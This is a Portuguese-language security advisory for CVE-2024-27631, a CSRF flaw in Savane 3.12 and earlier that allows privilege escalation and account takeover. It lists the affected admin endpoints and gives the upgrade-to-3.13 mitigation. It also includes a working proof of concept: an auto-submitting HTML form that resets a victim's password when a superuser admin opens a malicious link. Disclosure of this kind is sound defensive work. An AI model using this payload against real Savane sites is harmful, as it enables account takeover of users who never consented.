Detalhes da Vulnerabilidade CVE-2024-27631

Visão Geral

No Savane v3.12 e anteriores, a falta de proteção contra CSRF em funções administrativas pode permitir escalonamento de privilégios e/ou assunção de conta. Em particular, o endpoint /siteadmin/usergroup.php inclui a funcionalidade de alterar as senhas e as flags administrativas de outros usuários, permitindo efetivamente que um atacante se torne administrador.

Outros endpoints notáveis vulneráveis a CSRF incluem:

• /support/admin/userperms.php - Altera as permissões de quem pode publicar em um tracker.
• /project/admin/conf-copy.php - Sobrescreve a configuração existente de um grupo com uma cópia de outro grupo.
• /project/admin/editgroupnotifications.php - Edita as notificações de grupo. Itens privados podem ser enviados para listas de discussão públicas.
• /project/admin/useradmin.php - Remove usuários de um grupo.
• /news/admin/index.php - Edita o endereço de e-mail do tracker de notícias.
• /people/editjob.php - Adiciona um trabalho para um grupo.

Classificação CWE: CWE-352: Cross-Site Request Forgery (CSRF)

Relatado por: Ally Petitt

Produto Afetado: Savane

Versões Afetadas: 3.12 e anteriores

Etapas de Validação

Esta é uma Prova de Conceito (PoC) para alterar a senha da conta de outro usuário como um caminho para a assunção de conta.

1. Selecione um usuário vítima cuja senha será alterada.
2. Anote o userID da vítima a partir da página de perfil (/users/<username>).
3. Crie a seguinte página web maliciosa, substituindo user_id pelo ID do usuário vítima e <savane_instance> pelo nome de domínio/endereço do host adequado.

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

4. Hospede a página HTML maliciosa em um servidor web e envie o link para um administrador (o administrador deve estar no modo superusuário para que isso funcione).
5. Depois que o administrador clicar no link, faça login na conta da vítima com a senha muito segura Password1!.

Observe que este script de PoC foi testado no Firefox v103.0 (64-bit).

Mitigação

Atualize para o Savane versão 3.13 ou superior. O patch pode ser encontrado aqui.